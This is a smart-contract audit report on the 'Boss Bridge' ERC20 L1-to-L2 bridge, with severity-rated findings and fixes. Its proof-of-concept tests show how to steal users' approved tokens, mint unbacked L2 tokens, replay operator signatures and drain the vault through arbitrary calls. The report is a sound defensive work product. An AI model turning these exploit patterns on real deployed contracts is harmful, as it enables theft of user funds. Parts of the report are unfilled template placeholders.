Boss Bridge Security Review

Version 1.0

BLaeir.io

March 31, 2024

Boss Bridge Security Review

BLaeir

March 31, 2024

Prepared by: BLaeir Lead Auditors: - BLaeir

Table of Contents

Protocol Summary

This project presents a simple bridge mechanism to move our ERC20 token from L1 to an L2 we're building. In a nutshell, the bridge allows users to deposit tokens, which are held into a secure vault on L1. Successful deposits trigger an event that our off-chain mechanism picks up, parses it and mints the corresponding tokens on L2.

Disclaimer

The BLa team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

- Commit Hash: 07af21653ab3e8a8362bf5f63eb058047f562375
- In scope

```
./src/
#-- L1BossBridge.sol
#-- L1Token.sol
#-- L1Vault.sol
#-- TokenFactory.sol
```

- Solc Version: 0.8.20
- Chain(s) to deploy contracts to:
  - Ethereum Mainnet:
    * L1BossBridge.sol
    * L1Token.sol
    * L1Vault.sol
    * TokenFactory.sol
  - ZKSync Era:
    * TokenFactory.sol
  - Tokens:
    * L1Token.sol (And copies, with different names & initial supplies)

Roles

- Bridge Owner: A centralized bridge owner who can:
  - pause/unpause the bridge in the event of an emergency
  - set `Signers` (see below)
- Signer: Users who can "send" a token from L2 -> L1.
- Vault: The contract owned by the bridge that holds the tokens.
- Users: Users mainly only call `depositTokensToL2`, when they want to send tokens from L1 -> L2.

Executive Summary

Add some notes about how the audit went, types of things found and etc.

We spent X hours with Z auditors using Y tools. etc

Issues found

Severity	Number of issues found
High	8
Medium	1
Low	3
Info	1
Total	13

Findings

High

[H-1] Users that approve the bridge to spend their tokens can have their funds stolen.

Description: If a user approves the function `depositTokensToL2` to bridge anyone can steal their tokens by anyone making the call with a `from` address that has also approved the bridge.

Impact: An attacker can move any amount of users funds because of the bridge approval the user gave. Doing this will move the tokens to the bridge vault to then be under the control of the attackers address on the L2 (setting an attacker-controlled address in the l2Recipient parameter).

Proof of Concept:

Proof Of Code

Place the following into `L1TokenBridge.t.sol`

```
function testCanMoveApprovedTokensOfOtherUsers() public {
        vm.startPrank(user);
        token.approve(address(tokenBridge), type(uint256).max);

        uint256 depositAmount = token.balanceOf(user);
        address attacker = makeAddr("attacker");
        vm.startPrank(attacker);
        vm.expectEmit(address(tokenBridge));
        emit Deposit(user, attacker, depositAmount);
        tokenBridge.depositTokensToL2(user, attacker, depositAmount);

        assertEq(token.balanceOf(user), 0);
        assertEq(token.balanceOf(address(vault)), depositAmount);
```

```
        vm.stopPrank();
    }
```

Recommended Mitigation:

Consider doing these changes removing the `from` in `depositTokensToL2` to prevent the caller exploiting it.

```
- function depositTokensToL2(address from, address l2Recipient, uint256
    amount) external whenNotPaused {
+ function depositTokensToL2(address l2Recipient, uint256 amount)
    external whenNotPaused {
    if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
        revert L1BossBridge__DepositLimitReached();
    }
-   token.transferFrom(from, address(vault), amount);
+   token.transferFrom(msg.sender, address(vault), amount);

    // Our off-chain service picks up this event and mints the
       corresponding tokens on L2
-   emit Deposit(from, l2Recipient, amount);
+   emit Deposit(msg.sender, l2Recipient, amount);
}
```

[H-2] `depositTokensToL2` Called from the vault contract to the vault contrcact can mint unlimited tokens on the L2.

Description: `depositTokensToL2` allows the caller to specify a `from` address which tokens are taken.

Impact: The vault has infinite approval to the bridge (seen in the vault contract constructor) which makes it possible for an attacker to call `depositTokensToL2` function and transfer tokens from the vault to the vault itself. This also allows the attacker to trigger the `Deposit` event any number of times minting unbacked tokens on the L2. The attacker could also just mint tokens to themselves.

Proof of Concept:

Proof Of Code

Place the following into `L1TokenBridge.t.sol`

```
function testCanTransferFromVault() public {
        address attacker = makeAddr("attacker");

        uint256 vaultBalance = 500 ether;
        deal(address(token), address(vault), vaultBalance);

        vm.expectEmit(address(tokenBridge));
```

```
        emit Deposit(address(vault), attacker, vaultBalance);
        tokenBridge.depositTokensToL2(address(vault), attacker,
            vaultBalance);

        vm.expectEmit(address(tokenBridge));
        emit Deposit(address(vault), attacker, vaultBalance);
        tokenBridge.depositTokensToL2(address(vault), attacker,
            vaultBalance);
    }
```

Recommended Mitigation: Same suggestion as in H-1, modify `depositTokensToL2` so that the caller can not specify a `from` address.

[H-3] With no replay protection in `withdrawTokensToL1` it allows withdrawals by signature to be replayed.

Impact: Users who withdraw from the bridge just need to call either the `withdrawTokensToL1` and `sendToL1` functions, they do require the caller to send the transaction with data signed by one of the approved bridge operators.

However, the signatures do not include any kind of replay-protection mehcanism (e.g., nonces). Therefore, valid signatures from any bridge operator can be reused by any attacker to continue making withdraawals until the vault is drained.

Proof of Concept:

Proof Of Code

Place the following into `L1TokenBridge.t.sol`

```
function testSignatureReplay() public {
        address attacker = makeAddr("attacker");
        // assume the vault has funds already
        uint256 vaultInitialBalance = 1000e18;
        uint256 attackerInitialBalance = 100e18;
        deal(address(token), address(vault), vaultInitialBalance);
        deal(address(token), address(attacker), attackerInitialBalance)
            ;

        // Attacker deposits tokens to L2
        vm.startPrank(attacker);
        token.approve(address(tokenBridge), type(uint256).max);
        tokenBridge.depositTokensToL2(attacker, attacker,
            attackerInitialBalance);

        // Signer/Operator is going to sign the withrawal message
        bytes memory message = abi.encode(
            address(token),
```

```
            0, // value
            abi.encodeCall(IERC20.transferFrom, (address(vault),
                attacker, attackerInitialBalance))
        );
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(operator.key,
            MessageHashUtils.toEthSignedMessageHash(keccak256(message)))
            ;

        while (token.balanceOf(address(vault)) > 0) {
            // Attacker withdraws tokens from L2
            tokenBridge.withdrawTokensToL1(attacker,
                attackerInitialBalance, v, r, s);
        }

        assertEq(token.balanceOf(address(attacker)),
            attackerInitialBalance + vaultInitialBalance);
        assertEq(token.balanceOf(address(vault)), 0);
    }
```

Recommended Mitigation: Consider adding protection to the replay by redesigning the withdrawal mechanism.

[H-4] `L1BossBridge::sendToL1` allowing arbitrary calls enables users to call `L1Vault::approveTo` and give themselves infinte allowance of vault funds.

Description: The `L1BossBridge` contract inlcudes the `sendToL1` function that, if called with a valid signature by an operator, can arbitrary low-level calls to any given target. Because theres no restrictions neither on the target nor the calldata, this call could be used by an attacker to execute sensitive contracts of the bridge. For example, the `L1Vault` contract.

Impact: The `L1BossBridge` contract owns the `L1Vault` contract. Therefore, an attacker could submit a call that targets the vault and executes is `approveTo` function, passing an attacker-controlled address to increase its allowance. This would then allow the attacker to completely drain the vault.

It's worth noting that this attack's likelihood depends on the level of sophistication of the off-chain validations implemented by the operators that approve and sign withdrawals.

"However, we're rating it as a High severity issue because, according to the available documentation, the only validation made by off-chain services is that"the account submitting the withdrawal has first originated a successful deposit in the L1 part of the bridge". As the next PoC shows, such validation is not enough to prevent the attack."

Proof of Concept:

Proof Of Code

Place the following into `L1TokenBridge.t.sol`

```
function testCanCallVaultApproveFromBridgeAndDrainVault() public {
    uint256 vaultInitialBalance = 1000e18;
    deal(address(token), address(vault), vaultInitialBalance);

    // An attacker deposits tokens to L2. We do this under the assumption that the
    // bridge operator needs to see a valid deposit tx to then allow us to request a withdrawal.
    vm.startPrank(attacker);
    vm.expectEmit(address(tokenBridge));
    emit Deposit(address(attacker), address(0), 0);
    tokenBridge.depositTokensToL2(attacker, address(0), 0);

    // Under the assumption that the bridge operator doesn't validate bytes being signed
    bytes memory message = abi.encode(
        address(vault), // target
        0, // value
        abi.encodeCall(L1Vault.approveTo, (address(attacker), type(uint256).max)) // data
    );
    (uint8 v, bytes32 r, bytes32 s) = _signMessage(message, operator.key);

    tokenBridge.sendToL1(v, r, s, message);
    assertEq(token.allowance(address(vault), attacker), type(uint256).max);
    token.transferFrom(address(vault), attacker, token.balanceOf(address(vault)));
}
```

Recommended Mitigation: Consider disallowing attacker-controlled external calls to sensitive components of the bridge, such as the L1Vault contract.

[H-5] CREATE opcode does not work on zksync era

[H-6] `L1BossBridge::depositTokensToL2`'s `DEPOSIT_LIMIT` check allows contract to be DoS'd

[H-7] The `L1BossBridge::withdrawTokensToL1` function has no validation on the withdrawal amount being the same as the deposited amount in `L1BossBridge::depositTokensToL2`, allowing attacker to withdraw more funds than deposited

[H-8] TokenFactory::deployToken locks tokens forever

Medium

[M-1] Withdrawals are prone to unbounded gas consumption due to return bombs

Description: During withdrawals, the L1 part of the bridge executes a low-level call to an arbitrary target passing all available gas. While this would work fine for regular targets, it may not for adversarial ones.

Impact: In particular, a malicious target may drop a return bomb to the caller. This would be done by returning an large amount of returndata in the call, which Solidity would copy to memory, thus increasing gas costs due to the expensive memory operations. Callers unaware of this risk may not set the transaction's gas limit sensibly, and therefore be tricked to spent more ETH than necessary to execute the call.

Recommended Mitigation: If the external call's returndata is not to be used, then consider modifying the call to avoid copying any of the data. This can be done in a custom implementation, or reusing external libraries such as this one.

Low

[L-1] Lack of event emission during withdrawals and sending tokesn to L1

Description: Neither the `sendToL1` function nor the `withdrawTokensToL1` function emit an event when a withdrawal operation is successfully executed. This prevents off-chain monitoring mechanisms to monitor withdrawals and raise alerts on suspicious scenarios.

Recommended Mitigation: Modify the `sendToL1` function to include a new event that is always emitted upon completing withdrawals.

[L-2] TokenFactory::deployToken can create multiple token with same symbol

[L-3] Unsupported opcode PUSH0

Informational

[I-1] Insufficient test coverage

```
Running tests...
| File                 | % Lines        | % Statements   | % Branches    | % Funcs       |
| -------------------- | -------------- | -------------- | ------------- | ------------- |
| src/L1BossBridge.sol | 86.67% (13/15) | 90.00% (18/20) | 83.33% (5/6)  | 83.33% (5/6)  |
| src/L1Vault.sol      | 0.00% (0/1)    | 0.00% (0/1)    | 100.00% (0/0) | 0.00% (0/1)   |
| src/TokenFactory.sol | 100.00% (4/4)  | 100.00% (4/4)  | 100.00% (0/0) | 100.00% (2/2) |
| Total                | 85.00% (17/20) | 88.00% (22/25) | 83.33% (5/6)  | 77.78% (7/9)  |
```

Recommended Mitigation: Aim to up the majority of test coverage to an overall 90%.